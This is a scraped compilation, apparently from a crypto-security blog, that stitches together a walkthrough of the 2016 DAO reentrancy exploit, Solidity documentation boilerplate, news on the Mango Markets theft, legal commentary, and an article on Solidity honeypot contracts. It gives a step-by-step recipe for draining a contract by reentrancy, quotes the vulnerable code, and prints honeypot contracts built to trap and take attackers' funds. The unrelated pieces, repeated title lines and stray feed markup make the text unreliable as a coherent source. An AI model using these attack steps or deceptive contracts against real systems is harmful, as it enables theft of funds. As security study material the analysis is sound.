The first thing the attacker needed to do to pave the way for his successful exploit was to have the withdraw function for the DAO, which was vulnerable to the critical recursive send exploit, actually run. Let’s look at what’s required to make that happen in code (from DAO.sol):

function withdrawRewardFor(address _account) noEther internal returns (bool _success) {
  if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account])
    throw;

  uint reward =
    (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account];
  if (!rewardAccount.payOut(_account, reward)) // XXXXX vulnerable
    throw;
  paidOut[_account] += reward;
  return true;
}

If the hacker could get the first if statement to evaluate to false, the statement marked vulnerable would run. When that statements runs, code that looks like this would be called:

function payOut(address _recipient, uint _amount) returns (bool) {
  if (msg.sender != owner || msg.value > 0 || (payOwnerOnly && _recipient != owner))
      throw;
  if (_recipient.call.value(_amount)()) { // XXXXX vulnerable
      PayOut(_recipient, _amount);
      return true;
  } else {
      return false;
}

Notice how the marked line is exactly the vulnerable code mentioned in the description of the exploit we linked!

That line would then send a message from the DAO’s contract to “_recipient” (the attacker). “_recipient” would of course contain a default function, that would call splitDAO again with the same parameters as the initial call from the attacker. Remember that because this is all happening from inside withdrawFor from inside splitDAO, the code updating the balances in splitDAO hasn’t run. So the split will send more tokens to the child DAO, and then ask for the reward to be withdrawn again. Which will try to send tokens to “_recipient” again, which would again call split DAO before updating the balances array.

And so it goes:

  1. Propose a split and wait until the voting period expires. (DAO.sol, createProposal)
  2. Execute the split. (DAO.sol, splitDAO)
  3. Let the DAO send your new DAO its share of tokens. (splitDAO -> TokenCreation.sol, createTokenProxy)
  4. Make sure the DAO tries to send you a reward before it updates your balance but after doing (3). (splitDAO -> withdrawRewardFor -> ManagedAccount.sol, payOut)
  5. While the DAO is doing (4), have it run splitDAO again with the same parameters as in (2) (payOut -> _recipient.call.value -> _recipient())
  6. The DAO will now send you more child tokens, and go to withdraw your reward before updating your balance. (DAO.sol, splitDAO)
  7. Back to (5)!
  8. Let the DAO update your balance. Because (7) goes back to (5), it never actually will :-).

(Side note: Ethereum’s gas mechanics don’t save us here. call.value passes on all the gas a transaction is working with by default, unlike the send function. so the code will run as long as the attacker will pay for it, which considering it’s a cheap exploit means indefinitely)

Armed with this, we can provide a step by step re-trace of how The DAO got emptied out.

Step 1: Proposing the Split

The first step towards all of the above is to simply propose a regular split, as we’ve mentioned.

The attacker does this in the blockchain here in DAO Proposal #59, with the title “Lonely, so Lonely”.

Because of this line:

// The minimum debate period that a split proposal can have
uint constant minSplitDebatePeriod = 1 weeks;

he had to wait a week for the proposal to see approval. No matter, it’s just a split proposal like any other! Nobody will look too closely at it, right?

Step 2: Getting the Reward

As was neatly explained in one of slock.it’s previous posts on the matter, there are no rewards for the DAO to give out yet! (because no rewards were generated).

As we mentioned in the overview, the critical lines that need to run here are:

function withdrawRewardFor(address _account) noEther internal returns (bool _success) {
  if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account]) // XXXXX
    throw;

  uint reward =
    (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account];
  if (!rewardAccount.payOut(_account, reward)) // XXXXX
    throw;
  paidOut[_account] += reward;
  return true;
}

If the hacker could get the first marked line to run, the second marked line will run the default function of his choosing (that calls back to splitDAO as we described previously).

Let’s deconstruct the first if statement:

if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account])

The balanceOf function is defined in Token.sol, and of course does exactly this:

return balances[_owner];

The rewardAccount.accumulatedInput() line is evaluated from code in ManagedAccount.sol:

// The sum of ether (in wei) which has been sent to this contract
uint public accumulatedInput;

Luckily accumulatedInput is oh so simple to manipulate. Just use the default function of the reward account!

function() {
    accumulatedInput += msg.value;
}

Not only that, but because there is no logic to decrease accumulatedInput anywhere (it tracks the input the account has gotten from all the transactions ever), all the attacker needs to do is send a few Wei to the reward account and our original condition will not only evaluate to false, but its constituent values will evaluate to the same thing every time it’s called:

if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account])

Remember that because balanceOf refers to balances, which never gets updated, and because paidOut and totalSupply also never get updated since that code in splitDAO never actually executes, the attacker gets to claim their tiny share of the reward with no problems. And because they can claim their share of the reward, they can run their default function and reenter back to splitDAO. Whoopsie.

But do they actually need to include a reward? Let’s look at the line again:

if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account])

What if the reward account balance is 0? Then we get

if (0 < paidOut[_account])

If nothing has ever been paid out, this will always evaluate to false and never throw! Why? The original line is equivalent, after subtracting paidOut from both sides, to:

if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account] < 0)

where that first part is actually how much is being paid out. So the check is actually:

if (amountToBePaid < 0)

But if amountToBePaid is 0, the DAO pays you anyway. To me this doesn’t make much sense — why waste the gas in this manner? I think this is why many people assumed the attacker needed a balance in the reward account to proceed with the attack, something they in fact did not require. The attack works the same way with an empty reward account as with a full one!

Let’s take a look at the DAO’s reward address. The DAO accounting documentation from Slockit pegs this address as 0xd2e16a20dd7b1ae54fb0312209784478d069c7b0Check that account’s transactions and you see a pattern: 200 pages of .00000002 ETH transactions to 0xf835a0247b0063c04ef22006ebe57c5f11977cc4 and 0xc0ee9db1a9e07ca63e4ff0d5fb6f86bf68d47b89, the attacker’s two malicious contracts (which we cover later). That’s one transaction for each recursive call of withdrawRewardFor, which we described above. So in this case there actually was a balance in the rewards account, and the attacker gets to collect some dust.

Cryptanalysis of the DAO exploit & Multi-Stage Attack

Step 3: The Big Short

A number of entirely unsubstantiated allegations on social media have pointed to a $3M Ethereum short that occurred on Bitfinex just moments before the attack, claiming this short closed with almost $1M USD of profit.

It’s obvious to anyone constructing or analyzing this attack that certain properties of the DAO (specifically that any split must be running the same code as the original DAO) require an attacker to wait through the creation period of their child DAO (27 days) before withdrawing any coins in a malicious split. This gives the community time to respond to a theft, through either a soft fork freezing attacker funds or a hard fork rolling back the compromise entirely.

Any financially motivated attacker who had attempted their exploit on the testnet would have an incentive to ensure profits regardless of a potential rollback or fork by shorting the underlying token. The staggering drop that resulted within minutes of the smart contract that triggered the malicious split provided an excellent profit opportunity, and while there is no proof the attacker took the profit opportunity, we can at least conclude that after all this effort they would have been stupid not to.

Step 3a: Preventing Exit (Resistance is Futile)

Another contingency that the attacker needed to think of is the case that a DAO split occurs before the attacker can finish emptying the DAO. In this case, with another user as sole curator, the attacker would have no access to DAO funds.

Unfortunately the attacker is a smart guy: there is evidence that the attacker has voted yes on all split proposals that come to term after his own, making sure that he would hold some tokens in the case of any DAO split. Because of a property of the DAO we’ll discuss later in the post, these split DAOs are vulnerable to the same emptying attack we’re describing here. All the attacker has to do is sit through the creation period, send some Ether to the reward account, and propose and execute a split by himself away from this new DAO. If he can execute before the curator of this new DAO updates the code to remove the vulnerability, he manages to squash all attempts to get Ether out of the DAO that aren’t his own.

Notice by the timestamps here that the attacker did this right around the time he started the malicious split, almost as an afterthought. I see this more as an unnecessary middle finger to the DAO than a financially viable attack: having already emptied virtually the entire DAO, going through this effort to pick up any pennies that might be left on the table is probably an attempt to demoralize holders into inaction. Many have concluded, and I agree, that this hints at the attacker’s motivations being a complete destruction of the DAO that goes beyond profit taking. While none of us know the truth here, I do recommend applying your own judgment.

Interestingly enough, this attack was described by Emin Gün Sirer after it had already occurred on the blockchain, but before the public had noticed.

Cryptanalysis of the DAO exploit & Multi-Stage Attack

Step 4: Executing the Split

So we’ve painstakingly described all the boring technical aspects of this attack. Let’s get to the fun part, the action: executing the malicious split. The account that executed the transactions behind the split is 0xf35e2cc8e6523d683ed44870f5b7cc785051a77d.

The child DAO they sent funds to is 0x304a554a310c7e546dfe434669c62820b7d83490. The proposal was created and initiated by account 0xb656b2a9c3b2416437a811e07466ca712f5a5b5a (you can see the call to createProposal in the blockchain history there).

Deconstructing the constructor arguments that created that child DAO leads us to a curator at 0xda4a4626d3e16e094de3225a751aab7128e96526. That smart contract is just a regular multisignature wallet, with most of its past transactions being adding/removing owners and other wallet management tasks. Nothing interesting there.

Johannes Pfeffer on Medium has an excellent blockchain-based reconstruction of the transactions involved in the malicious Child DAO. I won’t spend too much time on such blockchain analysis, since he’s already done a great job. I highly encourage anyone interested to start with that article.

In the next article in the series, we’ll look at the code from the malicious contract itself (containing the exploit that actually launched the recursive attack). In the interest of expedience of release, we have not yet completed such an analysis.

Cryptanalysis of the DAO exploit & Multi-Stage Attack

Step 4a: Extending the Split

This step is an update to the original update, and covers how the attacker was able to turn a ~30X amplification attack (due to the max size of Ethereum’s stack being capped at 128) to a virtually infinite draining account.

Savvy readers of the above may notice that, even after overwhelming the stack and executing many more malicious splits than was required, the hacker would have their balance zeroed out by the code at the end of splitDAO:

function splitDAO(
  ....
  withdrawRewardFor(msg.sender); // be nice, and get his rewards
  totalSupply -= balances[msg.sender];
  balances[msg.sender] = 0;
  paidOut[msg.sender] = 0;
  return true;
}

So how did the attacker get around this? Thanks to the ability to transfer DAO tokens, he didn’t really need to! All he had to do was call the DAO’s helpful transfer function at the top of his stack, from his malicious function:

function ​transfer(address _to, uint256 _amount) noEther returns (bool success) {
 ​if (balances[msg.sender] >= _amount && _amount > 0) {
   ​balances[msg.sender] -= _amount;
   ​balances[_to] += _amount;
   ​...

By transferring the tokens to a proxy account, the original account would be zeroed out correctly at the end of splitDAO (notice how if A transfers all its money to B, A’s account is already zeroed out by transfer before it can be zeroed out by splitDAO). The attacker can then send the money back from the proxy account to the original account and start the whole process again. Even the update to totalSupply in splitDAO is missed, since p.totalSupply[0] is used to calculate the payout, which is a property of the original proposal and only instantiated once before the attack occurs. So the attack size stays constant despite less available ETH in the DAO with every iteration.

The evidence of two malicious contracts calling into withdrawRewardFor on the blockchain suggests that the attacker’s proxy account was also an attack-enabled contract that simply alternated as the attacker with the original contract. This optimization saves the attacker one transaction per attack cycle, but otherwise appears unnecessary.

Was 1.1 Vulnerable?

Because this vulnerability was in withdrawRewardFor, a natural question to ask is whether the DAO 1.1, with the updated function, was still vulnerable to a similar attack. The answer: yes.

Check out the updated function (especially the marked lines):

function withdrawRewardFor(address _account) noEther internal returns (bool _success) {
  if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account])
    throw;

  uint reward =
    (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account];

  reward = rewardAccount.balance < reward ? rewardAccount.balance : reward;

  paidOut[_account] += reward; // XXXXX
  if (!rewardAccount.payOut(_account, reward)) // XXXXX
    throw;

  return true;
}

Notice how paidOut is updated before the actual payout is made now. So how does this affect our exploit? Well, the second time getRewardFor is called, from inside the evil second call to splitDAO, this line:

uint reward =
 (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account];

will come out to 0. The payOut call will then call _recipient.call.value(0)(), which is the default value for that function, making it equivalent to a call to

_recipient.call()

Because the attacker paid for a lot of gas when sending his malicious split transaction, the recursive attack is allowed to continue with a vengeance.

Realizing they needed a 1.2 6 days after a 1.1, on code designed to be secure for years, is probably why the DAO’s puppet masters called it quits.

An Important Takeaway

I think the susceptibility of 1.1 to this attack is really interesting: even though withdrawReward for was not vulnerable by itself, and even though splitDAO was not vulnerable without withdrawRewardFor, the combination proves deadly. This is probably why this exploit was missed in review so many times by so many different people: reviewers tend to review functions one at a time, and assume that calls to secure subroutines will operate securely and as intended.

In the case of Ethereum, even secure functions that involve sending funds could render your original function as vulnerable to reentrancy. Whether they’re functions from the default Solidity libraries or functions that you wrote yourself with security in mind. Special care is required in reviews of Ethereum code to make sure that any functions moving value occur after any state updates whatsoever, otherwise these state values will be necessarily vulnerable to reentrancy.

I won’t cover the fork debate or what’s next for Ethereum and The DAO here. That subject is being beaten to death on every form of social media imaginable.

For our series of posts, the next step is to reconstruct the exploit on the TestNet using the DAO 1.0 code, and demonstrate both the code behind the exploit and the mechanism of attack. Please note that if someone beats me to these objectives, I reserve the right to cap the length of the series at one.

Solidity

Solidity is an object-oriented, high-level language for implementing smart contracts. Smart contracts are programs that govern the behavior of accounts within the Ethereum state.

Solidity is a curly-bracket language designed to target the Ethereum Virtual Machine (EVM). It is influenced by C++, Python, and JavaScript. You can find more details about which languages Solidity has been inspired by in the :doc:`language influences <language-influences>` section.

Solidity is statically typed, supports inheritance, libraries, and complex user-defined types, among other features.

With Solidity, you can create contracts for uses such as voting, crowdfunding, blind auctions, and multi-signature wallets.

When deploying contracts, you should use the latest released version of Solidity. Apart from exceptional cases, only the latest version receives security fixes. Furthermore, breaking changes, as well as new features, are introduced regularly. We currently use a 0.y.z version number to indicate this fast pace of change.

Warning

Solidity recently released the 0.8.x version that introduced a lot of breaking changes. Make sure you read :doc:`the full list <080-breaking-changes>`.

Ideas for improving Solidity or this documentation are always welcome, read our :doc:`contributors guide <contributing>` for more details.

Hint

You can download this documentation as PDF, HTML or Epub by clicking on the versions flyout menu in the bottom-left corner and selecting the preferred download format.

Getting Started

1. Understand the Smart Contract Basics

If you are new to the concept of smart contracts, we recommend you to get started by digging into the “Introduction to Smart Contracts” section, which covers the following:

2. Get to Know Solidity

Once you are accustomed to the basics, we recommend you read the :doc:`”Solidity by Example” <solidity-by-example>` and “Language Description” sections to understand the core concepts of the language.

3. Install the Solidity Compiler

There are various ways to install the Solidity compiler, simply choose your preferred option and follow the steps outlined on the :ref:`installation page <installing-solidity>`.

Hint

You can try out code examples directly in your browser with the Remix IDE. Remix is a web browser-based IDE that allows you to write, deploy and administer Solidity smart contracts, without the need to install Solidity locally.

Warning

As humans write software, it can have bugs. Therefore, you should follow established software development best practices when writing your smart contracts. This includes code review, testing, audits, and correctness proofs. Smart contract users are sometimes more confident with code than their authors, and blockchains and smart contracts have their own unique issues to watch out for, so before working on production code, make sure you read the :ref:`security_considerations` section.

4. Learn More

If you want to learn more about building decentralized applications on Ethereum, the Ethereum Developer Resources can help you with further general documentation around Ethereum, and a wide selection of tutorials, tools, and development frameworks.

If you have any questions, you can try searching for answers or asking on the Ethereum StackExchange, or our Gitter channel.

Translations

Community contributors help translate this documentation into several languages. Note that they have varying degrees of completeness and up-to-dateness. The English version stands as a reference.

You can switch between languages by clicking on the flyout menu in the bottom-left corner and selecting the preferred language.

Note

We set up a GitHub organization and translation workflow to help streamline the community efforts. Please refer to the translation guide in the solidity-docs org for information on how to start a new language or contribute to the community translations.

Contents

Cryptanalysis of the DAO exploit & Multi-Stage Attack

Cryptanalysis of the DAO exploit & Multi-Stage Attack

Cryptanalysis of the DAO exploit & Multi-Stage Attack
Cryptanalysis of the DAO exploit & Multi-Stage Attack


Basic concepts

To start off, keep in mind that in Ethereum there are two types of accounts: (i) externally owned accounts controlled by humans and (ii) contract accounts controlled by code. This is important because only contract accounts have associated code, and hence, can have a fallback function.

In Ethereum all the action is triggered by transactions or messages (calls) set off by externally owned accounts. Those transactions can be an ether transfer or the triggering of contract code. Remember, contracts can trigger other contracts’ code as well.

Smart contracts are written in high-level programming languages such as Solidity but for those contracts to be uploaded on the blockchain, they need to be compiled into bytecode, a low-level programming language executed by the Ethereum Virtual Machine (EVM). Said bytecode can be interpreted with opcodes.

When a contract calls or sends money to another contract that code compiles in the EVM bytecode, invoking the call function. But, there is a difference: When calling another contract the call function provides specific function identifiers and data, however, when sending money to another contract, the call function has a set amount of gas but no data (case b below), and thus, triggers the fallback function of the called contract.

The attack

The fallback function abuse played a very important role in the DAO attack. Let’s see what a fallback function is and how it can be used for malicious purposes.

Fallback function

A contract can have one anonymous function, known as well as the fallback function. This function does not take any arguments and it is triggered in three cases [1]:

a. If none of the functions of the call to the contract match any of the functions in the called contract

b. When the contract receives ether without extra data

c. If no data was supplied

Example

The following is sample code for a contract vulnerable to a malicious fallback function of another contract. In this example we have two contracts: (i) the contract Bank (vulnerable contract) and (ii) the contract BankAttacker (malicious contract). Imagine that the contract Bank is the DAO smart contract but much more simplified and the contract BankAttacker is the hacker’s malicious smart contract that emptied the DAO.

The hacker initiates the interaction with contract Bank through its malicious contract and the sequence of the actions is as follows:

  1. The first thing the hacker does is send ether (75 wei) to the vulnerable contract through the deposit function of the malicious contract. This function calls the addToBalance function of the vulnerable contract.
  2. Then, the hacker withdraws, through the withdraw function of the malicious contract, the same amount of wei (75), triggering the withdrawBalance function of the vulnerable contract.
  3. The withdrawBalance function first sends ether (75 wei) to the malicious contract, triggering its fallback function, and last updates the userBalances variable (that this piece is done last is very important for the attack).
  4. The malicious fallback function calls the withdrawBalance function again (recursive call), doubling the withdraw, before the execution of the first withdrawBalance function finishes, and thus, without updating the userBalances variable.

In this example, there are only two recursive calls to the withdrawBalance function so the hacker ends up with a balance of 150 wei. They took more than they should (75 wei) because the userBalance variable is the last thing set/updated.

One important point is that unlike the JavaScript’s blocks of code, the EVM executes instructions synchronously, one after the other, and this is why the userBalance variable is updated only after the previous code is finished.

The following is a more graphic explanation of the example. The instances referred in this graphic are the different states of the contracts saved in the blockchain. In the graphic you will see that the hacker, through his/her/their external account, triggers the malicious contract, so this contract can interact with the vulnerable contract.

Cryptanalysis of the DAO exploit & Multi-Stage Attack

Last, here is the example in JavaScript, just in case you are not very familiar with Solidity yet.


The hacker stole over $100 million in crypto from the Mango Markets Exchange on Tuesday, and may get to keep almost half of it.

Cryptanalysis of the DAO exploit & Multi-Stage Attack

Mango DAO has offered a deal to the thief who made off with $100 million in crypto from an exploit in the Mango Markets platform earlier this week—a way to avoid a criminal investigation and pay off bad debt.

The Mango DAO, a decentralized autonomous organization that manages Mango Markets, has offered the hacker a bug bounty of $47 million, meaning that the thief would be required to send back $67 million worth of tokens under the terms of the deal.

“We are seeking to make users whole to the extent possible,” the Mango DAO proposal says, addressing the thief.

On Tuesday, a hacker was able to steal over $100 million through an exploit in the Mango Markets Solana DeFi exchange. The attacker temporarily drove up the value of their collateral and then took out loans from the Mango treasury.

The DAO is a so-called Decentralized Autonomous Organization (“DAO”). DAOs run through rules encoded as smart contracts, which in turn are computer programs that facilitate, verify, or enforce the negotiation or performance of a contract, or that make a contractual clause unnecessary. In simple terms, think of any contract between two parties that gets translated into code, so it doesn’t need any external action but does automatically what was agreed. Smart Contracts are a pretty revolutionary and powerful concept by itself and if you want to know more about it, read our separate post on the subject.

The idea of a DAO somewhat is that once launched it can run based on its underlying smart contracts alone. The DAO’s smart contracts are based on Etherum, a public blockchain (which is a distributed database – for more information on blockchain, see here) platform with programmable transaction functionality that is also the basis for ether (or ETH), a cryptocurrency. ETH is a cryptocurrency similar to Bitcoin, but very popular since it offers a wider range of services and therefore sometimes considered a considerable challenger of Bitcoin as the leading cryptocurrency.

The DAO is fuelled using ether, which creates DAO tokens. DAO token holders will have the right to vote on investment proposals (proportional to the number of tokens held) as well as the opportunity to receive rewards generated by the output of the work from the contractors’ proposals. Since it is decentralized autonomous organization that is represented only by its smart contracts, it has no physical address and people only interact as contractors or curators, but not in managerial roles in the traditional sense. However, it is supported by a limited company and a cryptocurrency exchange in Switzerland, both chosen with a view to the legal and regulatory framework. The DAO is intended as a form of venture capital vehicle that would invest in projects in the sharing economy. Prior to the attack, the fund’s value was around $150 million in ether.

So while its creators hoped to build a more democratic financial institution that would be safe against the fallibility of humans by trusting the trustless concept of the blockchain and smart contracts, it seems human error is at the bottom of the heist.

Though it is not entirely certain yet how the money has been stolen, it appears that the hacker exploited a programing mistake in the code of the DAO. Weaknesses in the code had already been highlighted before and experts in the field had already called to fix critical problems. At this point it is important to recall that as a blockchain-enabled organization, the DAO is completely transparent and everything is done by the code, which anyone can see and audit. So, it seems that what happened – in a very simplified way – was that the hacker sent repeated transaction request to transfer funds to a DAO clone. Because of the programming error, the system possibly did not immediately update the balance, allowing the attacker to drain the account.

Since then the discussion has been how to respond to the attack. In an initial response, Vitalik Buterin, one of Ethereum’s founders, publicly asked online currency exchanges to suspend trading of ether and DAO tokens as well as deposits and withdrawals of the cryptocurrency.

Because of a restriction in the code pay-outs are delayed for at least one week, possibly even longer, the hacker will not be able to access the funds and give The DAO community some time. Several options are currently discussed: The community could decide to do nothing, preserve the system and let the DAO token holders loose their investment. Or the so-called “hard-fork” where the Ethereum community could decide to roll back all transactions to a specific point in time before the attack. Or the network could be updated to ensure that all transactions from the hacker’s ether address are blocked, basically freezing the account and trying to exploit a similar programing error to “steel” the money back since the DAO clone is likely to contain the same code structure that made the original attack possible.

Regardless which course is decided on, what are the likely consequences for the DAO, Ethereum and the Blockchain in general after this incident?
Stephen Tual, COO of Slock.it, the company that had worked on the development of The DAO, stated that The DAO is definitely going to close. Whether that is the case is to be seen as in a leaderless organization no one person alone can decide on the fate of the organisation. The future of the investment vehicle is cast into serious doubt in any case by the theft itself, as it is questionable whether anyone would put money in a construction that has a proven vulnerability even when its makers promise to fix the issues. Trust, after all, is relevant even for a trustless concept when it comes to money.

The more damaging aspect for the DAO, but also for Ethereum and potentially even the blockchain technology lies potentially in the actions to get the ether back. In comments across the web it has been compared with a bailout for banks that are too big to fail and that investors simply didn’t understand the risks of their investments. If the system is supposed to be flawless and save against tempering, isn’t meddling with it because of an, albeit very significant and expensive, programming error, undermining the whole idea? If people decide on whether transactions are to be reversed or not instead of the underlying smart contract, what is the worth of such an instrument if it’s only useful if anything goes according to plan?

Regardless what happens next it is an immensely important case as well from a legal and regulatory perspective: One tweet even hinted that a short bet on Ether was placed on one cryptocurrencies exchange shortly before the attack, which reminds us that traditional regulatory aspects like Market Abuse are more than relevant in the digital age. The tweet demanded an investigation though that raises the interesting questions about jurisdiction, governing legal frameworks and regulation, but that is only a side aspect to the story for now (though it would make sense from an economical perspective since the thief is unlikely to be able to access the Ether he stole and in that way could gain a monetary benefit from the heist).

In an interesting post at Coindesk, a US lawyer discussed the incident from a perspective of criminal law (Theft? Yes!), civil law (sue the hacker? Sure, seems everything can be sued) and tort law.

And even more interesting is the question whether the hacker only exploited a loophole in the code. In a message to the DAO and the Ethereum community, which is allegedly from the person responsible for the attack, the hacker described his action simply as using an intentional feature of the code and stated that any action to get the funds back, would amount to seizure of my legitimate and rightful ether, claimed legally through the terms of a smart contract, threatening trying to do so with legal action.

Everything is in flux: at the time of writing this, the DAO community is voting on whether to take action and, if so, in what form. Someone claiming to be an intermediary on behalf of the attackers has published a note, making it look like their holding the stolen ether ransom, and tweets on the subject get seemingly posted every second.

So to summarise, plenty of open questions, an uncertain future for the DAO, but maybe there is a silver lining that comes from this. Maybe this is only a costly episode on a steep learning curve, similar to other forms of innovation, and maybe this will lead to more care, diligence and scrutiny in future blockchain projects, which in the end might not be so bad after all.


Literature:


Conclusion

I’ve learned a lot understanding the DAO exploit, mainly that programming smart contracts is not an easy task and it should be done rigorously. I still have lots of unsolved questions such as: Do we need fallback functions at all? Apparently this was fixed in the new version of Solidity. However, the problem is still present at the EVM level because a hacker can program in opcode and avoid the Solidity’s security


GitHub

Telegram: https://t.me/cryptodeeptech

Video: https://youtu.be/-QDYiKCwOaA

Source: https://cryptodeeptools.ru/dao-exploit


Cryptanalysis of the DAO exploit & Multi-Stage Attack

]]>
Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots https://cryptodeeptools.ru/solidity-vulnerable-honeypots/ Wed, 21 Jun 2023 14:24:24 +0000 https://cryptodeeptools.ru/?p=2264

Following the article: “Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks”. In this article, we will continue this topic related to vulnerabilities and traps. In the process of cryptanalysis of various cryptocurrencies, we are increasingly getting loopholes and backdoors. Honeypots work by luring attackers with a balance stored in the smart contract, and what appears to be a vulnerability in the code. Typically, to access the funds, the attacker would have to send their own funds, but unbeknownst to them, there is some kind of recovery mechanism allowing the smart contract owner to recover their own funds along with the funds of the attacker.

Let’s look at a couple different real world examples:

pragma solidity ^0.4.18;

contract MultiplicatorX3
{
    address public Owner = msg.sender;
   
    function() public payable{}
   
    function withdraw()
    payable
    public
    {
        require(msg.sender == Owner);
        Owner.transfer(this.balance);
    }
    
    function Command(address adr,bytes data)
    payable
    public
    {
        require(msg.sender == Owner);
        adr.call.value(msg.value)(data);
    }
    
    function multiplicate(address adr)
    public
    payable
    {
        if(msg.value>=this.balance)
        {        
            adr.transfer(this.balance+msg.value);
        }
    }
}

In this contract, it seems that by sending more than the contract balance to multiplicate(), you can set your address as the contract owner, then proceed to drain the contract of funds. However, although it seems that this.balance is updated after the function is executed, it is actually updated before the function is called, meaning that multiplicate() is never executed, yet the attackers funds are locked in the contract.

pragma solidity ^0.4.19;

contract Gift_1_ETH
{
    bool passHasBeenSet = false;
    
    function()payable{}
    
    function GetHash(bytes pass) constant returns (bytes32) {return sha3(pass);}
    
    bytes32 public hashPass;
    
    function SetPass(bytes32 hash)
    public
    payable
    {
        if(!passHasBeenSet&&(msg.value >= 1 ether))
        {
            hashPass = hash;
        }
    }
    
    function GetGift(bytes pass)
    external
    payable
    {
        if(hashPass == sha3(pass))
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    function PassHasBeenSet(bytes32 hash)
    public
    {
        if(hash==hashPass)
        {
           passHasBeenSet=true;
        }
    }
}

This contract is especially sneaky. So long as passHasBeenSet is still set to false, anyone could GetHash()SetPass(), and GetGift(). The sneaky part of this contract, is that the last sentence is entirely true, but the problem is that passHasBeenSet is already set to true, even though it’s not in the etherscan transaction log.

You see, when smart contracts make transactions to each other they don’t appear in the transaction log, this is because they perform what’s known as a message call and not a transaction. So what happened here, must have been some external contract setting the pass before anyone else could.

A safer method the attacker should have used would have been to check the contract storage with a security analysis tool.

Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots
Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

Hardly a week passes without large scale hacks in the crypto world. It’s not just centralised exchanges that are targets of attackers. Successful hacks such as the DAOParity1 and Parity2 have shown that vulnerabilities in smart contracts can lead to losing digital assets worth millions of dollars. Attackers are driven by making profits and with the incredible value appreciation in 2017 in the crypto world, individuals and organisations who hold or manage digital assets are often vulnerable to attacks. Especially smart contracts have become a prime target for attackers for the following reasons:

  • Finality of transactions: This is a special property of blockchain systems and it means that once a transaction (or state change) took place it can’t be taken back or at least not with grave consequences which in case of the DAO hack led to a hard fork. For an attacker targeting smart contracts, finality is a great property since a successful attack can not easily be undone. In traditional banking systems this is quite different, an attack even though initially successful could be stopped and any transactions could be rolled back if noticed early enough.
  • Monetising successful attacks is straight forward: Once the funds of a smart contract can be withdrawn to an attacker’s account, transferring the funds to an exchange and cashing out in Fiat while concealing ones identity is something that the attackers can get away with if they are careful enough.
  • Availability of contract source code / byte code: Ethereum is a public blockchain and so at least the byte code of a smart contract is available to anyone. Blockchain explorers such Etherscan allow also to attach source code to a smart contract and so giving access to high level Solidity code to potential attackers.

Since we have established now why attackers find smart contracts attractive targets, let’s further look into the circumstances that could decide if a smart contracts gets attacked:

  1. Balance: The greater the balance of a smart contract the more attackers will try to attack it and the more time they are willing to spend to find a vulnerability. This is an easier economic equation than for none smart contract targets since the balance that can be potentially stolen is public and attackers have certainty on how profitable a successful attack could be.
  2. Difficulty/Time: This is the unknown variable in the equation. Yet the approach to look for potential targets can be automated by using smart contract vulnerability scanners. Availability of source code addtionally decreases analyis time while also lowering the bar for potential attackers to hack smart contracts since byte code is harder to read and therefore it takes more skill and time to analyse.

Taking the two factors above in consideration, one could assume that every smart contract published to the main net with a sufficient balance is analysed automatically by scanners or/and manually by humans for vulnerabilities and is likely going to be exploited if it is in fact vulnerable. The economic incentives and the availability of smart contracts on the public chain have given rise to a very active group attackers, trying to steal from vulnerable smart contracts. Among this larger group of attackers, a few seem to have specialised to hack the hackers by creating seemingly vulnerable smart contracts. In many ways these contracts have resemblance to honeypot systems. They are created to lure attackers with the following properties:

  • Balance: Honeypots are created with an initial balance that often seem to be in the range of 0.5–1.0 ETH.
  • Vulnerability: A weakness in the code that seemingly allows an attacker to withdraw all the funds.
  • Recovery Mechanism: Allows owner to reclaim the funds including the funds of the attacker.

Let’s analyse three different types of smart contract honeypots that I have come across over the last couple of weeks.

honeypot1: Multiplicator.sol

The contract’s source code was published on Etherscan with a seemingly vulnerable function. Try to spot the trap.

Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

GITHUB

This is a really a short contract and the multiplicate() function is the only function that does allow a call from anyone else than the owner of the contract. At first glance it looks like by transferring more than the current balance of the contract it is possible to withdraw the full balance. Both statements in line 29 and 31 try to reinforce the idea that this.balance is somehow credited after the function is finished. This is a trap since the this.balance is updated before the multiplicate() function is called and so if(msg.value>=this.balance) is never true unless this.balance is initially zero.

It seems that someone has actually tried to call multiplicate() with 1.1 Ether. Shortly after the owner has withdrawn the full balance.

Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

honeypot2: Gift_1_ETH.sol

Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

GITHUB

The contract has a promising name, if you want to figure out the trap yourself have a look at the code here. Also check out the transaction log … why did 0xc4126a64c546677146FfB3f3D5A6F6d5A2F94DF1 lose 1 ETH?

Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots
Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots
Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

It seems that 0xc4126a64c546677146FfB3f3D5A6F6d5A2F94DF1 did everything right. First SetPass() was called to overwrite hashPass and then GetGift() to withdraw the Ether. Also the attacker made sure PassHasBeenSet() has not been called. So what went wrong?

One important piece of information in order to understand honeypot2 is to clarify what internal transactions are. They actually do not exist according to the specifications in the Ethereum Yellow Paper (see Appendix A for terminologies). Transactions can only be sent by External Actors to other External Actors or non-empty associated EVM Code accounts or what is commonly referred to as smart contracts. If smart contracts exchange value between each other then they perform a Message Call not a Transaction. The terminology used by EtherScan and other blockchain explorers can be misleading.

